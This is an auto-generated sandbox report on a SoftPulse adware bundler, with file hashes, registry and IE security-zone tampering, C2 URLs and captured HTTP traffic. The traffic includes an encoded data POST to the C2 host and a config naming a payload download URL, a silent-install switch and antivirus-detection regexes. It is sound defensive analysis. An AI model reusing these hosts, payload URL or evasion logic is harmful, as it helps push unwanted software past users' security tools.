Gen.Variant.Application.Bundler.SoftPulse.3_96c7ddb267

by malwarelabrobot on January 6th, 2015 in Malware Descriptions.

Gen:Variant.Application.Bundler.SoftPulse.3 (BitDefender), HEUR:Trojan.Win32.Generic (Kaspersky), DomaIQ (fs) (VIPRE), Trojan.DownLoader11.36367 (DrWeb), SoftPulse.a (McAfee), PUA.SoftPulse (Ikarus), Gen:Variant.Application.Bundler (FSecure), Win32/DH{gRIxflCBB3lUTxVRgQkcU4ET} (AVG), TROJ_GEN.R08NC0PK214 (TrendMicro), Gen:Variant.Application.Bundler.SoftPulse.3 (AdAware)
Behaviour: Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 96c7ddb267235311ea33b1f25c6297b7
SHA1: c4822d96e665ce464bd03f24950f79f8f898a94b
SHA256: 66e4cf0cab27db2121e7c6eb57468f7b374fdb8ac65df808bfa28be0df36f66d
SSDeep: 12288:MVCSFSEvZIZvYrsUwkwxizgPsYmBwolM e5KLehq/JZZtcaC0fBPsSpB0:M7SKoUXwkRMCK5oKqBxcaCGsi0
Size: 790992 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2014-10-31 18:07:50
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:944

The Trojan injects its code into the following process(es):

%original file name%.exe:348

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:348 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6P8N67QD\i-download[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IFK30NOL\style[1].css (7529 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GZWXYZ01\bullet-short[1].gif (108 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6P8N67QD\bullet-short[1].gif (54 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\456T8DEX\style[1].css (222 bytes)
%System%\wbem\Logs\wbemprox.log (225 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6P8N67QD\bullet-short[1].gif (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GZWXYZ01\bullet-short[1].gif (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IFK30NOL\be775b85c63d033e848cc3aa53c5def0045c4dc9cefc64b6cd1e2cb7df5e7df5ab423ffc1d2e2c367182653eb6704f45f60f28c6065b971d[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IFK30NOL\27fc816b048f273cacabb67e21a5c92d50795996d82593fc391f5a92997170d2456b63925c4dec8af290df6dd143292adbdf434c96352507[1].txt (0 bytes)

Registry activity

The process %original file name%.exe:944 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "10 AD 87 A2 B1 5A 1B F8 33 FC 63 EC 7E C4 DE EA"

The process %original file name%.exe:348 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "%original file name%.exe"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1414771670"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E7 F4 40 70 06 5A 4B DA 91 E0 42 40 EE C1 2B B9"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version: 2.20.30.11
Legal Copyright: Copyright (C) 2014
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.20.30.11
File Description:
Comments:
Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 86732 87040 4.52628 25b92ef69ecdfce045efe745f98bfd30
.rdata 94208 274958 275456 4.2195 8db6d6e8b273afc986688d8bd0e53875
.data 372736 14808 6144 2.45219 9c0f641c1d5aa0edb50b4f14fe268bda
.rsrc 389120 415184 415232 5.4537 8574212fecbc31b5bc5524dee9ed7a92

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 2234
1a96d39c378afafb07ef42176a7c990f
7751b92fdbe35b8a65bd22f2bd1bd90a
8d767187bb95f9ed468ac071ecd0439c
afe6e311e0e86cf7bb1d50fbcef9e615
5044f3ab329ee356a1b33da840316b9a
1ff2db69cf3fd2cb06e45b7840d18e8d
0568b1e192a7ae912bf456340600861b
ba6ce85bacbb8f768f1d35e66d6ce38a
9b0298451c7e70ad2966df8301ec46c1
c6b304e118117befe039f491f861fd06
0e457ca12871cf08d007dd5119c11deb
e1165ccc357f8e87ac014bdd97c2501f
120ca611bd56c1cd98dc7f34a7c884b6
d42c500cc8e84ea675cce93504cebee8
84d065ca6db247b92f0bf5173738ab52
ddb0b4f1e52453375a62ab0d920b595d
1b3afaa7c24571d4164f15aaa7ed95b6
9cbe52f74b3215f9a0e097a225068df1
c256be43579ac5b65f7faf269d3e145c
f345dbabe45bc70d33b13a9f53de6bd9
18576215cdcd73bd25ad64eb700a68f6
4eab712d75f1d0b261491b703c0d613c
52865678201e26003fc9d789cb8c7441
67235fea921f92fd216817244cbb2d37
0429d2703f62c4792ba74215a077e905
f00d4ea818addc26874c495e053c546d

URLs

URL IP
hxxp://maxirg00.maxisrv.com/699f081a37b489f595bf72623bafeaafad000ddd7ae129f4e4fa03b1f7892d62093748083482c5f7c22f56bdd87159253ec505de0802c17308d9710e3412f078d3a3e53bf629a4e6b7647513683a09150c8c1176adce3bcc
hxxp://maxirg00.maxisrv.com/be775b85c63d033e848cc3aa53c5def0045c4dc9cefc64b6cd1e2cb7df5e7df5ab423ffc1d2e2c367182653eb6704f45f60f28c6065b971d
hxxp://maxirg00.maxisrv.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/style.css
hxxp://maxirg00.maxisrv.com/__maxpower__/render_template/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab?language_code=en
hxxp://maxirg00.maxisrv.com/maxpower-static/apps/5a/68762/css/style.css
hxxp://maxirg00.maxisrv.com/__maxpower__/render_screen/2014/11/7cb36aea-73d0-11e4-925e-06a3579b0dab/screen_variation=videoUpdater
hxxp://maxirg00.maxisrv.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/bullet-short.gif
hxxp://maxirg00.maxisrv.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/i-download.png
hxxp://jyetezs78b700nj7jo.imjdgzh0.com/__maxpower__/render_screen/2014/11/7cb36aea-73d0-11e4-925e-06a3579b0dab/screen_variation=videoUpdater 5.196.157.0
hxxp://jyetezs78b700nj7jo.imjdgzh0.com/maxpower-static/apps/5a/68762/css/style.css 5.196.157.0
hxxp://jyetezs78b700nj7jo.imjdgzh0.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/bullet-short.gif 5.196.157.0
hxxp://jyetezs78b700nj7jo.imjdgzh0.com/__maxpower__/render_template/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab?language_code=en 5.196.157.0
hxxp://jyetezs78b700nj7jo.imjdgzh0.com/be775b85c63d033e848cc3aa53c5def0045c4dc9cefc64b6cd1e2cb7df5e7df5ab423ffc1d2e2c367182653eb6704f45f60f28c6065b971d 5.196.157.0
hxxp://jyetezs78b700nj7jo.imjdgzh0.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/style.css 5.196.157.0
hxxp://jyetezs78b700nj7jo.imjdgzh0.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/i-download.png 5.196.157.0
hxxp://jyetezs78b700nj7jo.imjdgzh0.com/699f081a37b489f595bf72623bafeaafad000ddd7ae129f4e4fa03b1f7892d62093748083482c5f7c22f56bdd87159253ec505de0802c17308d9710e3412f078d3a3e53bf629a4e6b7647513683a09150c8c1176adce3bcc 5.196.157.0


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /__maxpower__/render_template/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab?language_code=en HTTP/1.1
Accept: */*
Proxy-Authorization: Basic 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: jyetezs78b700nj7jo.imjdgzh0.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 05:15:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2260
Connection: keep-alive
Vary: Accept-Language
Content-Language: en
Accept-Ranges: bytes
..<!--Template VideoUpdater-->..<div class="container">.&l
t;div class="videupdater">. <div class="minimize">. <ul&g
t;. <li><span onclick="minimizeWindow();" class="button-mi
n">-</span></li>. <li><span id="_Bexit" onc
lick="onExit()" class="button-min">x</span></li>. <
/ul>.</div>..<div id="_frameContainer" class="content">
.. ..</div>...<!-- buttons -->.<div class="buttons">
;.. <!--botones derecha -->. . <input id="_Bnext" class="_
Bnext grey right" buttonText="Next" tabindex="0" type="submit" value="
Next »" onclick='onAccept();'>. .. <!--botones izquierda
-->.. . <input id="_Bomit" class="_Bomit normal-close leftnow
idth" tabindex="3" type="submit" name="nombre" value="Skip All" onclic
k='onOmit();'>. . . <input id="_Bdecline" class="_Bdecline no
rmal-close leftnowidth" tabindex="1" type="submit" name="nombre" valu
e="Decline" onclick='onDecline();'>. .. <div class="clear">
;</div>.</div>.. ..<div class="contact">. <div
class="contact-in" style="height: 20px;">.. <ul>. <
;li><a target='_blank' class="first _TitSetup">Setup info<
/a></li>. <li><a target='_blank' class="_TitFre
e">Why is this free?</a></li>. <li><a tar
get='_blank' class="_TitUninstall">Uninstall</a></li>.
<li><a target='_blank' class="_TitContact">Contac

<<< skipped >>>

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/bullet-short.gif HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: jyetezs78b700nj7jo.imjdgzh0.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 05:15:32 GMT
Content-Type: image/gif
Content-Length: 54
Last-Modified: Mon, 24 Nov 2014 09:06:26 GMT
Connection: keep-alive
ETag: "5472f512-36"
Accept-Ranges: bytes
GIF89a.............!.......,...................P..U..;....



GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/i-download.png HTTP/1.1

Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: jyetezs78b700nj7jo.imjdgzh0.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 05:15:32 GMT
Content-Type: image/png
Content-Length: 1433
Last-Modified: Mon, 24 Nov 2014 11:12:50 GMT
Connection: keep-alive
ETag: "547312b2-599"
Accept-Ranges: bytes
.PNG........IHDR...*...*.....J.^.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:24FEED836BEF11E4901AB7
B77D879212" xmpMM:DocumentID="xmp.did:24FEED846BEF11E4901AB7B77D879212
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:24FEED816BEF11E4
901AB7B77D879212" stRef:documentID="xmp.did:24FEED826BEF11E4901AB7B77D
879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>lW1.....IDATx.b|[email protected]...#...k..
...!..T?.&..}_......{....`..?....{..z...'..a..C*....'V.....&VV"M...eWT
...{..X...b..\\.M.LHP.:..0.v..9..?.>.W.......ax....X...MM.........~
.xA.d....".nTT............/w..c,...!.....\T..;w.Z.......D.K......O....
G.......E..$X.D...9..../......K..$...JD.CF_............>.......Lc.f
.U.$.7.NqJK...".....|}.<|[email protected]..^.T.......d.....9
8.>..w RNK.*....C.._.<..q.....mX.)...?..D.l!.{<...7o......\..
......W.....^.|,?..v.;p.B..B..r..d.~B.........X%....b-<..c {9.Im.O.
.........Z?l...v\. ...

<<< skipped >>>

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/bullet-short.gif HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: jyetezs78b700nj7jo.imjdgzh0.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 05:15:32 GMT
Content-Type: image/gif
Content-Length: 54
Last-Modified: Mon, 24 Nov 2014 09:06:26 GMT
Connection: keep-alive
ETag: "5472f512-36"
Accept-Ranges: bytes
GIF89a.............!.......,...................P..U..;....



GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/bullet-short.gif HTTP/1.1

Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: jyetezs78b700nj7jo.imjdgzh0.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 05:15:32 GMT
Content-Type: image/gif
Content-Length: 54
Last-Modified: Mon, 24 Nov 2014 09:06:26 GMT
Connection: keep-alive
ETag: "5472f512-36"
Accept-Ranges: bytes
GIF89a.............!.......,...................P..U..;..


GET /699f081a37b489f595bf72623bafeaafad000ddd7ae129f4e4fa03b1f7892d62093748083482c5f7c22f56bdd87159253ec505de0802c17308d9710e3412f078d3a3e53bf629a4e6b7647513683a09150c8c1176adce3bcc HTTP/1.1
Accept: */*
Proxy-Authorization: Basic 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: jyetezs78b700nj7jo.imjdgzh0.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 05:15:31 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
eef..{"time":0.75034499168396,"country":"UA","countryId":231,"installe
rBehavior":{"hideOnInstall":1,"maxSteps":5,"maxOffers":8,"maxGroupOffe
rs":2,"gratitudeUrl":"http:\/\/VVV.congratulationsstep.com\/XFNExvxA\/
dec01\/mpa\/","abortUrl":"http:\/\/VVV.congratulationsstep.com\/TssOOM
h0\/dec01\/mpa\/","mappUrl":"http:\/\/app.imjdgzh0.com\/aa\/FastPlayer
Setup.exe","mappCommandLine":"\/S \/uid=%uid%","mappFileName":null,"in
stallerPopupUrl":"http:\/\/VVV.congratulationsstep.com\/BesH3gE9\/pop-
up\/","track":{"service":"trackMaxPowerCollector","type":1},"macBehavi
or":"","antivirus":{"Microsoft Security Essentials":"(.*microsoft.*sec
urity.*essentials.*|.*microsoft.*)","Avast":"(.*avast.*)","Windows Def
ender":"(.*windows.*defender.*|.*windows.*enterprise.*|.*windows.*prot
ection.*|.*windows.*intune.*|.*windows.*security.*|.*windows.*live.*.*
onecare)","Avira":"(.*avira.*|.*antivir[s|_])","AVG":"(.*avg.*)","ESET
":"(.*[_| |\n]eset.*|.*nod32.*)","Malwarebytes":"(.*malwarebytes.*anti
-malware.*)","Kaspersky":"(.*kaspersky.*)","Norton":"(.*norton.*)","CO
MODO":"(.*comodo.*)","McAfee":"(.*mcafee.*)","Symantec":"(.*symantec.*
)","Bitdefender":"(.*bitdefender.*)","eScan":"([ |_]escan[ |_|\n].*)",
"Panda":"(.*panda.*)","Webroot":"(.*webroot.*)","VirusKeeper":"(.*viru
skeeper.*)","Trend Micro":"(.*trend.*micro.*)","Bell":"(.*bell.*)","Ci
sco":"(.*cisco.*)","Dr Web":"(.*Dr.*Web.*|.*Doctor.*Web.*)","F-Secure"
:"(.*f-secure.*)","G Data":"(.*G.*Data.*)","PC Tools":"(.*pc.*tools.*)
","Quick Heal":"(.*quick.*heal.*)","Thirtyseven4":"(.*thirtyseven4

<<< skipped >>>

POST /be775b85c63d033e848cc3aa53c5def0045c4dc9cefc64b6cd1e2cb7df5e7df5ab423ffc1d2e2c367182653eb6704f45f60f28c6065b971d HTTP/1.1

User-Agent: dBrowser 1 CallGetResponse:1
Host: jyetezs78b700nj7jo.imjdgzh0.com
Content-Length: 1877
Cache-Control: no-cache

data=f02de8a4252cb569d74fa3671a506dabaaedf76a5721a167f604d62a71608584f71761dd7ec77e2299ddfbc7782e2b5b08b98920dc4456a342b1b7af39ab55900b42a4407b455672137d498c3f5fee870ea4b32142e05d2806b3739a53626dbbc2014845f258d1b20d7580a3964a1102350e42951547c3d5b9b73ed66ddddcca6711b977621772fcea56b2c90ab52eff01ab9a5a6e0e10fb276a09cffa7d532f31d91b20846ef36d58932fda2d4bbea739007652c1bb7c74aec8b5d0e7b0646e2a279b9e2bdf5a60636720e6bc9d1910616186f5903b7198a8978a100a243d958cedbd27df6031cccfb6526dc66ce47667e1e00922eaefde092727a013439aba76fd3dd66a8c08673a725fab34a7f3ad415eea262fa37d8bee47d7424e2aeb26d6d4de6130e4e7691f08d9968f3b58ff266cc5fe93425b39d12811aba22ed259339c94364c0d4533f6c4dce318ed2aab10d276840cff110a166cd5ed1d296e26de822f18e2a04ae7d6e3ecc37579cab429a032714a8ae96b5ba5ec4c9d721d961b3772b6dbd6b536b6666a999becb0eda865d9ea63bf75cf24c1fdd5538974872779c8d548b9a8f8058f2717b8209b27d54dfa0e484dce10209a2d2456563ea67dfe653aed720597fc8ed16b102263b5eec186f9c31dba28d43fd4a78373b370293964d2735addb299d671b651eb58d12aa16c64f5422a9a269253a579dd6587a202442b03afda24668f962f19749c3544489e5f336e233e1d76d24e1e76551bf42280a7b536ca9e401f54ca0f06f45e3c94efce1ee8e04049aca63c53db9b985bec82b407006d1dfdb2f130383d176d4817e2e4bd0f9b817222947933a68204cf976f6c06f8d189b9f084312dddafe3b81e17a81d3c51626939b857
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 05:15:31 GMT
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: keep-alive
7..MAXTHX...0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 04 Dec 2014 
05:15:31 GMT..Content-Type: text/plain..Transfer-Encoding: chunked..Co
nnection: keep-alive..7..MAXTHX...0..
....


GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/style.css HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: jyetezs78b700nj7jo.imjdgzh0.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 05:15:32 GMT
Content-Type: text/css
Content-Length: 18656
Last-Modified: Wed, 03 Dec 2014 13:27:47 GMT
Connection: keep-alive
ETag: "547f0fd3-48e0"
Accept-Ranges: bytes
/* Template Template Videoupdater */...article,aside,details,figcaptio
n,figure,.footer,header,hgroup,menu,nav,section {..display:block;.}.p,
h5, h4, h3, h2, h1, span, ul, li, form, input, textarea {..margin:0;.
.padding:0;.}.body {..margin:0 auto;..background-color:#323333;..width
: 555px;..height: 458px;..color:#b5b5b5;..font-family:Arial, Helvetica
, sans-serif;..scrollbar-face-color: #666666;..scrollbar-highlight-col
or: #999999;..scrollbar-3dlight-color: #333333;..scrollbar-shadow-colo
r: #333333;..scrollbar-darkshadow-color: #333333;..scrollbar-arrow-col
or: #CCCCCC;..scrollbar-track-color: #333333;.}...videupdater a, .vide
updater span {..color:#b5b5b5;.}...clear {..clear:both;..height:0px;..
overflow:inherit;..display: none;.}..li {..list-style: none;.}./******
***************//*********************//*********************//*******
**************//********./* estilo para poner los botones del box.html
todos en display none */.._Bnext, .._Bexit, .._Bdecline, .._Bomit {..
/*display:none;*/.}./*************************************************
*/..container {..float:left;..width:555px;..height: 458px;..border: 1p
x solid #999;..background-color:#323333;.}../*****************Template
Win_Link*****************/.....minimize {..float: right;..width: 40px
;..position: relative;..right: 27px;..margin-top: 20px;..z-index: 9999
;..}...minize ul li {..display: inline;..padding-left: 4px;.}...minimi
ze .button-min {..color: #636363;..text-decoration: none;..border: non
e;..font-size: 17px;..float: left;..line-height: 12px;..font-weigh

<<< skipped >>>

GET /maxpower-static/apps/5a/68762/css/style.css HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: jyetezs78b700nj7jo.imjdgzh0.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 05:15:32 GMT
Content-Type: text/css
Content-Length: 222
Last-Modified: Fri, 08 Aug 2014 10:13:46 GMT
Connection: keep-alive
ETag: "53e4a2da-de"
Accept-Ranges: bytes
/* mapp advanced cleaner pro */../*..welcome .image01 {..float:left;..
background:url("") 0 0 no-repeat;..width:190px;..height:108px;..margin
:6px 0 0;.}.*/....welcome ul {...width:210px;..float: left;..}..welco
me ul li {.}HTTP/1.1 200 OK..Server: nginx..Date: Thu, 04 Dec 2014 05:
15:32 GMT..Content-Type: text/css..Content-Length: 222..Last-Modified:
Fri, 08 Aug 2014 10:13:46 GMT..Connection: keep-alive..ETag: "53e4a2d
a-de"..Accept-Ranges: bytes../* mapp advanced cleaner pro */../*..welc
ome .image01 {..float:left;..background:url("") 0 0 no-repeat;..width:
190px;..height:108px;..margin:6px 0 0;.}.*/....welcome ul {...width:2
10px;..float: left;..}..welcome ul li {.}
....



GET /__maxpower__/render_screen/2014/11/7cb36aea-73d0-11e4-925e-06a3579b0dab/screen_variation=videoUpdater HTTP/1.1

Accept: */*
Proxy-Authorization: Basic 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: jyetezs78b700nj7jo.imjdgzh0.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Dec 2014 05:15:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 10741
Connection: keep-alive
Vary: Accept-Language
Content-Language: en
Accept-Ranges: bytes
...<!-- screen - group -videoupdater -->..<div class="g3">
.<div class="group">...<div class="content-wlink">...<h
1>........Setup Wizard.......</h1>...<p class="followscree
n">........Follow the on-screen instructions outlined in this wizar
d to install the new version of %mapp% and benefit from all the latest
features and updates %mapp% has to offer........</p>....<div
class="spec">....<div class="greyspace">....<h3>Quick
Specs</h3>....<div class="wlist first">.....<li>Soft
ware Name:</li>.....<span>%mapp%.exe</span>.....<
/div>....<div class="clear"></div>....<div class="wl
ist">.....<li >Version:</li>.....<span>15.1</s
pan>.....<li>Size:</li>.....<span>24.7 MB</spa
n>....</div>....</div>...</div>....<div class=
"advertisement">.....<h4>Advertisement</h4>.....<p&g
t;Accepting these offers allows us to promote our software completely
free of cost.</p>....<!--<p class="small-leg">By clicki
ng %buttonText%, </p>-->....</div>......<div class="
right">....<div class="grouptexta">.....<div class="_args
arguments">.....</div>......<div class="groupoli">.....
.<span class="smalltextpoli">By clicking %buttonText% you agree
